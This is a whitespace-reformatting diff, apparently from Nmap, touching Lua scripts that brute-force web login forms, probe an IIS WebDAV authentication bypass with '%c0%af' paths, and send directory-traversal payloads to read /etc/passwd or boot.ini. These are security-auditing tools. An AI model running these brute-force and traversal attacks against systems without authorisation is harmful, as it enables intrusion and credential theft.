||||
return stdnse.format_output(true, output)
|
||||
table.sort(output, function(a,b) return getOrderPos(a) < getOrderPos(b) end)
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
|
||||
@@ -27,16 +27,16 @@ Performs brute force password auditing against http form-based authentication.
|
||||
-- analyzes the response and attempt to determine whether authentication was
|
||||
-- successful or not. The script analyzes this by checking the response using
|
||||
-- the following rules:
|
||||
-- 1. If the response was empty the authentication was successful
|
||||
-- 2. If the response contains the message passed in the onsuccess
|
||||
-- argument the authentication was successful
|
||||
-- 3. If no onsuccess argument was passed, and if the response
|
||||
-- does not contain the message passed in the onfailure argument the
|
||||
-- authentication was successful
|
||||
-- 4. If neither the onsuccess or onfailure argument was passed and the
|
||||
-- response does not contain a password form field authentication
|
||||
-- was successful
|
||||
-- 5. Authentication failed
|
||||
-- 1. If the response was empty the authentication was successful
|
||||
-- 2. If the response contains the message passed in the onsuccess
|
||||
-- argument the authentication was successful
|
||||
-- 3. If no onsuccess argument was passed, and if the response
|
||||
-- does not contain the message passed in the onfailure argument the
|
||||
-- authentication was successful
|
||||
-- 4. If neither the onsuccess or onfailure argument was passed and the
|
||||
-- response does not contain a password form field authentication
|
||||
-- was successful
|
||||
-- 5. Authentication failed
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE REASON
|
||||
@@ -59,19 +59,19 @@ Performs brute force password auditing against http form-based authentication.
|
||||
-- holds the username used to authenticate. A simple autodetection of
|
||||
-- this variable is attempted.
|
||||
-- @args http-form-brute.passvar sets the http-variable name that holds the
|
||||
-- password used to authenticate. A simple autodetection of this variable
|
||||
-- password used to authenticate. A simple autodetection of this variable
|
||||
-- is attempted.
|
||||
-- @args http-form-brute.onsuccess (optional) sets the message to expect on
|
||||
-- successful authentication
|
||||
-- successful authentication
|
||||
-- @args http-form-brute.onfailure (optional) sets the message to expect on
|
||||
-- unsuccessful authentication
|
||||
-- unsuccessful authentication
|
||||
|
||||
--
|
||||
-- Version 0.3
|
||||
-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
|
||||
-- Revised 05/23/2011 - v0.2 - changed so that uservar is optional
|
||||
-- Revised 06/05/2011 - v0.3 - major re-write, added onsucces, onfailure and
|
||||
-- support for redirects
|
||||
-- support for redirects
|
||||
--
|
||||
|
||||
author = "Patrik Karlsson"
|
||||
@@ -85,166 +85,166 @@ local form_params = {}
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port, options)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = nmap.registry.args['http-form-brute.hostname'] or host
|
||||
o.port = port
|
||||
o.options = options
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port, options)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = nmap.registry.args['http-form-brute.hostname'] or host
|
||||
o.port = port
|
||||
o.options = options
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function( self )
|
||||
-- This will cause problems, as ther is no way for us to "reserve"
|
||||
-- a socket. We may end up here early with a set of credentials
|
||||
-- which won't be guessed until the end, due to socket exhaustion.
|
||||
return true
|
||||
end,
|
||||
connect = function( self )
|
||||
-- This will cause problems, as ther is no way for us to "reserve"
|
||||
-- a socket. We may end up here early with a set of credentials
|
||||
-- which won't be guessed until the end, due to socket exhaustion.
|
||||
return true
|
||||
end,
|
||||
|
||||
login = function( self, username, password )
|
||||
-- we need to supply the no_cache directive, or else the http library
|
||||
-- incorrectly tells us that the authentication was successfull
|
||||
local postparams = { [self.options.passvar] = password }
|
||||
if ( self.options.uservar ) then postparams[self.options.uservar] = username end
|
||||
login = function( self, username, password )
|
||||
-- we need to supply the no_cache directive, or else the http library
|
||||
-- incorrectly tells us that the authentication was successfull
|
||||
local postparams = { [self.options.passvar] = password }
|
||||
if ( self.options.uservar ) then postparams[self.options.uservar] = username end
|
||||
|
||||
local response = Driver.postRequest(self.host, self.port, self.options.path, postparams)
|
||||
local success = false
|
||||
local response = Driver.postRequest(self.host, self.port, self.options.path, postparams)
|
||||
local success = false
|
||||
|
||||
-- if we have no response, we were successful
|
||||
if ( not(response.body) ) then
|
||||
success = true
|
||||
-- if we have a response and it matches our onsuccess match, login was successful
|
||||
elseif ( response.body and
|
||||
self.options.onsuccess and
|
||||
response.body:match(self.options.onsuccess) ) then
|
||||
success = true
|
||||
-- if we have a response and it does not match our onfailure, login was successful
|
||||
elseif ( response.body and
|
||||
not(self.options.onsuccess) and
|
||||
self.options.onfailure and
|
||||
not(response.body:match(self.options.onfailure))) then
|
||||
success = true
|
||||
-- if we have a response and no onfailure or onsuccess match defined
|
||||
-- and can't find a password field, login was successful
|
||||
elseif ( response.body and
|
||||
not(self.options.onfailure) and
|
||||
not(self.options.onsuccess) and
|
||||
not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*"))
|
||||
) then
|
||||
success = true
|
||||
end
|
||||
-- if we have no response, we were successful
|
||||
if ( not(response.body) ) then
|
||||
success = true
|
||||
-- if we have a response and it matches our onsuccess match, login was successful
|
||||
elseif ( response.body and
|
||||
self.options.onsuccess and
|
||||
response.body:match(self.options.onsuccess) ) then
|
||||
success = true
|
||||
-- if we have a response and it does not match our onfailure, login was successful
|
||||
elseif ( response.body and
|
||||
not(self.options.onsuccess) and
|
||||
self.options.onfailure and
|
||||
not(response.body:match(self.options.onfailure))) then
|
||||
success = true
|
||||
-- if we have a response and no onfailure or onsuccess match defined
|
||||
-- and can't find a password field, login was successful
|
||||
elseif ( response.body and
|
||||
not(self.options.onfailure) and
|
||||
not(self.options.onsuccess) and
|
||||
not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*"))
|
||||
) then
|
||||
success = true
|
||||
end
|
||||
|
||||
-- We check whether the body was empty or that we have a body without our user- and pass-var
|
||||
if ( success ) then
|
||||
nmap.registry['credentials'] = nmap.registry['credentials'] or {}
|
||||
nmap.registry.credentials['http'] = nmap.registry.credentials['http'] or {}
|
||||
table.insert( nmap.registry.credentials.http, { username = username, password = password } )
|
||||
return true, brute.Account:new( username, password, creds.State.VALID)
|
||||
end
|
||||
-- We check whether the body was empty or that we have a body without our user- and pass-var
|
||||
if ( success ) then
|
||||
nmap.registry['credentials'] = nmap.registry['credentials'] or {}
|
||||
nmap.registry.credentials['http'] = nmap.registry.credentials['http'] or {}
|
||||
table.insert( nmap.registry.credentials.http, { username = username, password = password } )
|
||||
return true, brute.Account:new( username, password, creds.State.VALID)
|
||||
end
|
||||
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
end,
|
||||
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
disconnect = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
check = function( self )
|
||||
return true
|
||||
end,
|
||||
check = function( self )
|
||||
return true
|
||||
end,
|
||||
|
||||
postRequest = function( host, port, path, options )
|
||||
local response = http.post( host, port, path, { no_cache = true }, nil, options )
|
||||
local status = ( response and tonumber(response.status) ) or 0
|
||||
if ( status > 300 and status < 400 ) then
|
||||
local new_path = url.absolute(path, response.header.location)
|
||||
response = http.get( host, port, new_path, { no_cache = true } )
|
||||
end
|
||||
return response
|
||||
end,
|
||||
postRequest = function( host, port, path, options )
|
||||
local response = http.post( host, port, path, { no_cache = true }, nil, options )
|
||||
local status = ( response and tonumber(response.status) ) or 0
|
||||
if ( status > 300 and status < 400 ) then
|
||||
local new_path = url.absolute(path, response.header.location)
|
||||
response = http.get( host, port, new_path, { no_cache = true } )
|
||||
end
|
||||
return response
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
--- Attempts to auto-detect known form-fields
|
||||
--
|
||||
local function detectFormFields( host, port, path )
|
||||
local response = http.get( host, port, path )
|
||||
local user_field, pass_field
|
||||
local response = http.get( host, port, path )
|
||||
local user_field, pass_field
|
||||
|
||||
if ( response.status == 200 ) then
|
||||
user_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([^\"]-[Uu][Ss][Ee][Rr].-)[\"]*.->")
|
||||
pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([Pp][Aa][Ss][Ss].-)[\"]*.->")
|
||||
if ( response.status == 200 ) then
|
||||
user_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([^\"]-[Uu][Ss][Ee][Rr].-)[\"]*.->")
|
||||
pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]*([Pp][Aa][Ss][Ss].-)[\"]*.->")
|
||||
|
||||
if ( not(pass_field) ) then
|
||||
pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]-([^\"]-[Kk][Ee][Yy].-)[\"].->")
|
||||
end
|
||||
end
|
||||
if ( not(pass_field) ) then
|
||||
pass_field = response.body:match("<[Ii][Nn][Pp][Uu][Tt].-name=[\"]-([^\"]-[Kk][Ee][Yy].-)[\"].->")
|
||||
end
|
||||
end
|
||||
|
||||
return user_field, pass_field
|
||||
return user_field, pass_field
|
||||
end
|
||||
|
||||
action = function( host, port )
|
||||
local uservar = stdnse.get_script_args('http-form-brute.uservar')
|
||||
local passvar = stdnse.get_script_args('http-form-brute.passvar')
|
||||
local path = stdnse.get_script_args('http-form-brute.path') or "/"
|
||||
local onsuccess = stdnse.get_script_args("http-form-brute.onsuccess")
|
||||
local onfailure = stdnse.get_script_args("http-form-brute.onfailure")
|
||||
local uservar = stdnse.get_script_args('http-form-brute.uservar')
|
||||
local passvar = stdnse.get_script_args('http-form-brute.passvar')
|
||||
local path = stdnse.get_script_args('http-form-brute.path') or "/"
|
||||
local onsuccess = stdnse.get_script_args("http-form-brute.onsuccess")
|
||||
local onfailure = stdnse.get_script_args("http-form-brute.onfailure")
|
||||
|
||||
local _
|
||||
local _
|
||||
|
||||
-- if now fields were given attempt to autodetect
|
||||
if ( not(uservar) and not(passvar) ) then
|
||||
uservar, passvar = detectFormFields( host, port, path )
|
||||
-- if now passvar was detected attempt to autodetect
|
||||
elseif ( not(passvar) ) then
|
||||
_, passvar = detectFormFields( host, port, path )
|
||||
end
|
||||
-- if now fields were given attempt to autodetect
|
||||
if ( not(uservar) and not(passvar) ) then
|
||||
uservar, passvar = detectFormFields( host, port, path )
|
||||
-- if now passvar was detected attempt to autodetect
|
||||
elseif ( not(passvar) ) then
|
||||
_, passvar = detectFormFields( host, port, path )
|
||||
end
|
||||
|
||||
-- uservar is optional, so only make sure we have a passvar
|
||||
if ( not( passvar ) ) then
|
||||
return "\n ERROR: No passvar was specified (see http-form-brute.passvar)"
|
||||
end
|
||||
-- uservar is optional, so only make sure we have a passvar
|
||||
if ( not( passvar ) ) then
|
||||
return "\n ERROR: No passvar was specified (see http-form-brute.passvar)"
|
||||
end
|
||||
|
||||
if ( not(path) ) then
|
||||
return "\n ERROR: No path was specified (see http-form-brute.path)"
|
||||
end
|
||||
if ( not(path) ) then
|
||||
return "\n ERROR: No path was specified (see http-form-brute.path)"
|
||||
end
|
||||
|
||||
if ( onsuccess and onfailure ) then
|
||||
return "\n ERROR: Either the onsuccess or onfailure argument should be passed, not both."
|
||||
end
|
||||
if ( onsuccess and onfailure ) then
|
||||
return "\n ERROR: Either the onsuccess or onfailure argument should be passed, not both."
|
||||
end
|
||||
|
||||
local options = { [passvar] = "this_is_not_a_valid_password" }
|
||||
if ( uservar ) then options[uservar] = "this_is_not_a_valid_user" end
|
||||
local options = { [passvar] = "this_is_not_a_valid_password" }
|
||||
if ( uservar ) then options[uservar] = "this_is_not_a_valid_user" end
|
||||
|
||||
local response = Driver.postRequest( host, port, path, options )
|
||||
if ( not(response) or not(response.body) or response.status ~= 200 ) then
|
||||
return ("\n ERROR: Failed to retrieve path (%s) from server"):format(path)
|
||||
end
|
||||
local response = Driver.postRequest( host, port, path, options )
|
||||
if ( not(response) or not(response.body) or response.status ~= 200 ) then
|
||||
return ("\n ERROR: Failed to retrieve path (%s) from server"):format(path)
|
||||
end
|
||||
|
||||
-- try to detect onfailure match
|
||||
if ( onfailure and not(response.body:match(onfailure)) ) then
|
||||
return ("\n ERROR: Failed to match password failure message (%s)"):format(onfailure)
|
||||
elseif ( not(onfailure) and
|
||||
not(onsuccess) and
|
||||
not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*")) ) then
|
||||
return ("\n ERROR: Failed to detect password form field see (http-form-brute.onsuccess or http-form-brute.onfailure)")
|
||||
end
|
||||
-- try to detect onfailure match
|
||||
if ( onfailure and not(response.body:match(onfailure)) ) then
|
||||
return ("\n ERROR: Failed to match password failure message (%s)"):format(onfailure)
|
||||
elseif ( not(onfailure) and
|
||||
not(onsuccess) and
|
||||
not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*")) ) then
|
||||
return ("\n ERROR: Failed to detect password form field see (http-form-brute.onsuccess or http-form-brute.onfailure)")
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new( Driver, host, port, {
|
||||
uservar = uservar, passvar = passvar,
|
||||
path = path, onsuccess = onsuccess, onfailure = onfailure
|
||||
}
|
||||
)
|
||||
-- there's a bug in http.lua that does not allow it to be called by
|
||||
-- multiple threads
|
||||
engine:setMaxThreads(1)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local engine = brute.Engine:new( Driver, host, port, {
|
||||
uservar = uservar, passvar = passvar,
|
||||
path = path, onsuccess = onsuccess, onfailure = onfailure
|
||||
}
|
||||
)
|
||||
-- there's a bug in http.lua that does not allow it to be called by
|
||||
-- multiple threads
|
||||
engine:setMaxThreads(1)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
|
||||
if ( not(uservar) ) then
|
||||
engine.options:setOption( "passonly", true )
|
||||
end
|
||||
local status, result = engine:start()
|
||||
if ( not(uservar) ) then
|
||||
engine.options:setOption( "passonly", true )
|
||||
end
|
||||
local status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -43,170 +43,170 @@ portrule = shortport.http
|
||||
---Enumeration for results
|
||||
local enum_results =
|
||||
{
|
||||
VULNERABLE = 1,
|
||||
NOT_VULNERABLE = 2,
|
||||
UNKNOWN = 3
|
||||
VULNERABLE = 1,
|
||||
NOT_VULNERABLE = 2,
|
||||
UNKNOWN = 3
|
||||
}
|
||||
|
||||
---Sends a PROPFIND request to the given host, and for the given folder. Returns a table reprenting a response.
|
||||
local function get_response(host, port, folder)
|
||||
local webdav_req = '<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><getcontentlength xmlns="DAV:"/><getlastmodified xmlns="DAV:"/><executable xmlns="http://apache.org/dav/props/"/><resourcetype xmlns="DAV:"/><checked-in xmlns="DAV:"/><checked-out xmlns="DAV:"/></prop></propfind>'
|
||||
local webdav_req = '<?xml version="1.0" encoding="utf-8"?><propfind xmlns="DAV:"><prop><getcontentlength xmlns="DAV:"/><getlastmodified xmlns="DAV:"/><executable xmlns="http://apache.org/dav/props/"/><resourcetype xmlns="DAV:"/><checked-in xmlns="DAV:"/><checked-out xmlns="DAV:"/></prop></propfind>'
|
||||
|
||||
local options = {
|
||||
header = {
|
||||
Host = host.ip,
|
||||
Connection = "close",
|
||||
["User-Agent"] = "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)",
|
||||
["Content-Type"] = "application/xml",
|
||||
},
|
||||
content = webdav_req
|
||||
}
|
||||
local options = {
|
||||
header = {
|
||||
Host = host.ip,
|
||||
Connection = "close",
|
||||
["User-Agent"] = "Mozilla/5.0 (compatible; Nmap Scripting Engine; http://nmap.org/book/nse.html)",
|
||||
["Content-Type"] = "application/xml",
|
||||
},
|
||||
content = webdav_req
|
||||
}
|
||||
|
||||
return http.generic_request(host, port, "PROPFIND", folder, options)
|
||||
return http.generic_request(host, port, "PROPFIND", folder, options)
|
||||
end
|
||||
|
||||
---Check a single folder on a single host for the vulnerability. Returns one of the enum_results codes.
|
||||
local function go_single(host, port, folder)
|
||||
local response
|
||||
local response
|
||||
|
||||
response = get_response(host, port, folder)
|
||||
if(response.status == 401) then
|
||||
local vuln_response
|
||||
local check_folder
|
||||
response = get_response(host, port, folder)
|
||||
if(response.status == 401) then
|
||||
local vuln_response
|
||||
local check_folder
|
||||
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: Found protected folder (401): %s", folder)
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: Found protected folder (401): %s", folder)
|
||||
|
||||
-- check for IIS 6.0 and 5.1
|
||||
-- doesn't appear to work on 5.0
|
||||
-- /secret/ becomes /s%c0%afecret/
|
||||
check_folder = string.sub(folder, 1, 2) .. "%c0%af" .. string.sub(folder, 3)
|
||||
vuln_response = get_response(host, port, check_folder)
|
||||
if(vuln_response.status == 207) then
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: Folder seems vulnerable: %s", folder)
|
||||
return enum_results.VULNERABLE
|
||||
else
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: Folder does not seem vulnerable: %s", folder)
|
||||
return enum_results.NOT_VULNERABLE
|
||||
end
|
||||
else
|
||||
if(response['status-line'] ~= nil) then
|
||||
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status-line'], folder)
|
||||
elseif(response['status'] ~= nil) then
|
||||
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status'], folder)
|
||||
else
|
||||
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder: %s",folder)
|
||||
end
|
||||
return enum_results.UNKNOWN
|
||||
end
|
||||
-- check for IIS 6.0 and 5.1
|
||||
-- doesn't appear to work on 5.0
|
||||
-- /secret/ becomes /s%c0%afecret/
|
||||
check_folder = string.sub(folder, 1, 2) .. "%c0%af" .. string.sub(folder, 3)
|
||||
vuln_response = get_response(host, port, check_folder)
|
||||
if(vuln_response.status == 207) then
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: Folder seems vulnerable: %s", folder)
|
||||
return enum_results.VULNERABLE
|
||||
else
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: Folder does not seem vulnerable: %s", folder)
|
||||
return enum_results.NOT_VULNERABLE
|
||||
end
|
||||
else
|
||||
if(response['status-line'] ~= nil) then
|
||||
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status-line'], folder)
|
||||
elseif(response['status'] ~= nil) then
|
||||
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder (%s): %s", response['status'], folder)
|
||||
else
|
||||
stdnse.print_debug(3, "http-iis-webdav-vuln: Not a protected folder: %s",folder)
|
||||
end
|
||||
return enum_results.UNKNOWN
|
||||
end
|
||||
end
|
||||
|
||||
---Checks a list of possible folders for the vulnerability. Returns a list of vulnerable folders.
|
||||
local function go(host, port)
|
||||
local status, folder
|
||||
local results = {}
|
||||
local is_vulnerable = true
|
||||
local status, folder
|
||||
local results = {}
|
||||
local is_vulnerable = true
|
||||
|
||||
local folder_file
|
||||
local folder_file
|
||||
local farg = nmap.registry.args.folderdb
|
||||
folder_file = farg and (nmap.fetchfile(farg) or farg) or nmap.fetchfile('nselib/data/http-folders.txt')
|
||||
|
||||
if(folder_file == nil) then
|
||||
return false, "Couldn't find http-folders.txt (should be in nselib/data)"
|
||||
end
|
||||
if(folder_file == nil) then
|
||||
return false, "Couldn't find http-folders.txt (should be in nselib/data)"
|
||||
end
|
||||
|
||||
local file = io.open(folder_file, "r")
|
||||
if not file then
|
||||
return false, ("Couldn't find or open %s"):format(folder_file)
|
||||
end
|
||||
local file = io.open(folder_file, "r")
|
||||
if not file then
|
||||
return false, ("Couldn't find or open %s"):format(folder_file)
|
||||
end
|
||||
|
||||
while true do
|
||||
local result
|
||||
local line = file:read()
|
||||
if not line then
|
||||
break
|
||||
end
|
||||
while true do
|
||||
local result
|
||||
local line = file:read()
|
||||
if not line then
|
||||
break
|
||||
end
|
||||
|
||||
if(nmap.registry.args.basefolder ~= nil) then
|
||||
line = "/" .. nmap.registry.args.basefolder .. "/" .. line
|
||||
else
|
||||
line = "/" .. line
|
||||
end
|
||||
if(nmap.registry.args.basefolder ~= nil) then
|
||||
line = "/" .. nmap.registry.args.basefolder .. "/" .. line
|
||||
else
|
||||
line = "/" .. line
|
||||
end
|
||||
|
||||
result = go_single(host, port, line)
|
||||
if(result == enum_results.VULNERABLE) then
|
||||
results[#results + 1] = line
|
||||
elseif(result == enum_results.NOT_VULNERABLE) then
|
||||
is_vulnerable = false
|
||||
else
|
||||
end
|
||||
end
|
||||
result = go_single(host, port, line)
|
||||
if(result == enum_results.VULNERABLE) then
|
||||
results[#results + 1] = line
|
||||
elseif(result == enum_results.NOT_VULNERABLE) then
|
||||
is_vulnerable = false
|
||||
else
|
||||
end
|
||||
end
|
||||
|
||||
file:close()
|
||||
file:close()
|
||||
|
||||
return true, results, is_vulnerable
|
||||
return true, results, is_vulnerable
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
-- Start by checking if '/' is protected -- if it is, we can't do the tests
|
||||
local result = go_single(host, port, "/")
|
||||
if(result == enum_results.NOT_VULNERABLE) then
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is password protected, aborting.")
|
||||
return nmap.verbosity() > 0 and "Could not determine vulnerability, since root folder is password protected" or nil
|
||||
end
|
||||
-- Start by checking if '/' is protected -- if it is, we can't do the tests
|
||||
local result = go_single(host, port, "/")
|
||||
if(result == enum_results.NOT_VULNERABLE) then
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is password protected, aborting.")
|
||||
return nmap.verbosity() > 0 and "Could not determine vulnerability, since root folder is password protected" or nil
|
||||
end
|
||||
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is not password protected, continuing...")
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: Root folder is not password protected, continuing...")
|
||||
|
||||
local response = get_response(host, port, "/")
|
||||
if(response.status == 501) then
|
||||
-- WebDAV is disabled
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is DISABLED (PROPFIND failed).")
|
||||
return nmap.verbosity() > 0 and "WebDAV is DISABLED. Server is not currently vulnerable." or nil
|
||||
else
|
||||
if(response.status == 207) then
|
||||
-- PROPFIND works, WebDAV is enabled
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is ENABLED (PROPFIND was successful).")
|
||||
else
|
||||
-- probably not running IIS 5.0/5.1/6.0
|
||||
if(response['status-line'] ~= nil) then
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status-line'])
|
||||
elseif(response['status'] ~= nil) then
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status'])
|
||||
else
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed.")
|
||||
end
|
||||
return nmap.verbosity() > 0 and "ERROR: This web server is not supported." or nil
|
||||
end
|
||||
end
|
||||
local response = get_response(host, port, "/")
|
||||
if(response.status == 501) then
|
||||
-- WebDAV is disabled
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is DISABLED (PROPFIND failed).")
|
||||
return nmap.verbosity() > 0 and "WebDAV is DISABLED. Server is not currently vulnerable." or nil
|
||||
else
|
||||
if(response.status == 207) then
|
||||
-- PROPFIND works, WebDAV is enabled
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: WebDAV is ENABLED (PROPFIND was successful).")
|
||||
else
|
||||
-- probably not running IIS 5.0/5.1/6.0
|
||||
if(response['status-line'] ~= nil) then
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status-line'])
|
||||
elseif(response['status'] ~= nil) then
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed with \"%s\".", response['status'])
|
||||
else
|
||||
stdnse.print_debug(1, "http-iis-webdav-vuln: PROPFIND request failed.")
|
||||
end
|
||||
return nmap.verbosity() > 0 and "ERROR: This web server is not supported." or nil
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if(nmap.registry.args.webdavfolder ~= nil) then
|
||||
local folder = nmap.registry.args.webdavfolder
|
||||
local result = go_single(host, port, "/" .. folder)
|
||||
if(nmap.registry.args.webdavfolder ~= nil) then
|
||||
local folder = nmap.registry.args.webdavfolder
|
||||
local result = go_single(host, port, "/" .. folder)
|
||||
|
||||
if(result == enum_results.VULNERABLE) then
|
||||
return string.format("WebDAV is ENABLED. Folder is vulnerable: %s", folder)
|
||||
elseif(result == enum_results.NOT_VULNERABLE) then
|
||||
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Folder is NOT vulnerable: %s", folder) or nil
|
||||
else
|
||||
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Could not determine vulnerability of folder: %s", folder) or nil
|
||||
end
|
||||
if(result == enum_results.VULNERABLE) then
|
||||
return string.format("WebDAV is ENABLED. Folder is vulnerable: %s", folder)
|
||||
elseif(result == enum_results.NOT_VULNERABLE) then
|
||||
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Folder is NOT vulnerable: %s", folder) or nil
|
||||
else
|
||||
return nmap.verbosity() > 0 and string.format("WebDAV is ENABLED. Could not determine vulnerability of folder: %s", folder) or nil
|
||||
end
|
||||
|
||||
else
|
||||
local status, results, is_vulnerable = go(host, port)
|
||||
else
|
||||
local status, results, is_vulnerable = go(host, port)
|
||||
|
||||
if(status == false) then
|
||||
return nmap.verbosity() > 0 and "ERROR: " .. results or nil
|
||||
else
|
||||
if(#results == 0) then
|
||||
if(is_vulnerable == false) then
|
||||
return nmap.verbosity() > 0 and "WebDAV is ENABLED. Protected folder found but could not be exploited. Server does not appear to be vulnerable." or nil
|
||||
else
|
||||
return nmap.verbosity() > 0 and "WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=<path>" or nil
|
||||
end
|
||||
else
|
||||
return "WebDAV is ENABLED. Vulnerable folders discovered: " .. stdnse.strjoin(", ", results)
|
||||
end
|
||||
end
|
||||
end
|
||||
if(status == false) then
|
||||
return nmap.verbosity() > 0 and "ERROR: " .. results or nil
|
||||
else
|
||||
if(#results == 0) then
|
||||
if(is_vulnerable == false) then
|
||||
return nmap.verbosity() > 0 and "WebDAV is ENABLED. Protected folder found but could not be exploited. Server does not appear to be vulnerable." or nil
|
||||
else
|
||||
return nmap.verbosity() > 0 and "WebDAV is ENABLED. No protected folder found; check not run. If you know a protected folder, add --script-args=webdavfolder=<path>" or nil
|
||||
end
|
||||
else
|
||||
return "WebDAV is ENABLED. Vulnerable folders discovered: " .. stdnse.strjoin(", ", results)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -72,19 +72,19 @@ categories = {"intrusive", "vuln"}
|
||||
--@param response The HTTP response from the server.
|
||||
--@return The body of the HTTP response.
|
||||
local validate = function(response)
|
||||
if not response.status then
|
||||
return nil
|
||||
end
|
||||
if not response.status then
|
||||
return nil
|
||||
end
|
||||
|
||||
if response.status ~= 200 then
|
||||
return nil
|
||||
end
|
||||
if response.status ~= 200 then
|
||||
return nil
|
||||
end
|
||||
|
||||
if response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") or response.body:match("%[boot loader%]") then
|
||||
return response.body
|
||||
end
|
||||
if response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") or response.body:match("%[boot loader%]") then
|
||||
return response.body
|
||||
end
|
||||
|
||||
return nil
|
||||
return nil
|
||||
end
|
||||
|
||||
--- Transforms a string with ".", "/" and "\" converted to their URL-formatted
|
||||
@@ -92,19 +92,19 @@ end
|
||||
--@param str String to hexify.
|
||||
--@return Transformed string.
|
||||
local hexify = function(str)
|
||||
local ret
|
||||
ret = str:gsub("%.", "%%2E")
|
||||
ret = ret:gsub("/", "%%2F")
|
||||
ret = ret:gsub("\\", "%%5C")
|
||||
return ret
|
||||
local ret
|
||||
ret = str:gsub("%.", "%%2E")
|
||||
ret = ret:gsub("/", "%%2F")
|
||||
ret = ret:gsub("\\", "%%5C")
|
||||
return ret
|
||||
end
|
||||
|
||||
--- Truncates the <code>passwd</code> or <code>boot.ini</code> file.
|
||||
--@param passwd <code>passwd</code> or <code>boot.ini</code>file.
|
||||
--@return Truncated passwd file and truncated length.
|
||||
local truncatePasswd = function(passwd)
|
||||
local len = 250
|
||||
return passwd:sub(1, len), len
|
||||
local len = 250
|
||||
return passwd:sub(1, len), len
|
||||
end
|
||||
|
||||
--- Formats output.
|
||||
@@ -112,83 +112,83 @@ end
|
||||
--@param dir Formatted request which elicited the good reponse.
|
||||
--@return String description for output
|
||||
local output = function(passwd, dir)
|
||||
local trunc, len = truncatePasswd(passwd)
|
||||
local out = ""
|
||||
out = out .. "Directory traversal found.\nPayload: \"" .. dir .. "\"\n"
|
||||
out = out .. "Printing first " .. len .. " bytes:\n"
|
||||
out = out .. trunc
|
||||
return out
|
||||
local trunc, len = truncatePasswd(passwd)
|
||||
local out = ""
|
||||
out = out .. "Directory traversal found.\nPayload: \"" .. dir .. "\"\n"
|
||||
out = out .. "Printing first " .. len .. " bytes:\n"
|
||||
out = out .. trunc
|
||||
return out
|
||||
end
|
||||
|
||||
portrule = shortport.http
|
||||
|
||||
action = function(host, port)
|
||||
local dirs = {
|
||||
hexify("//etc/passwd"),
|
||||
hexify(string.rep("../", 10) .. "etc/passwd"),
|
||||
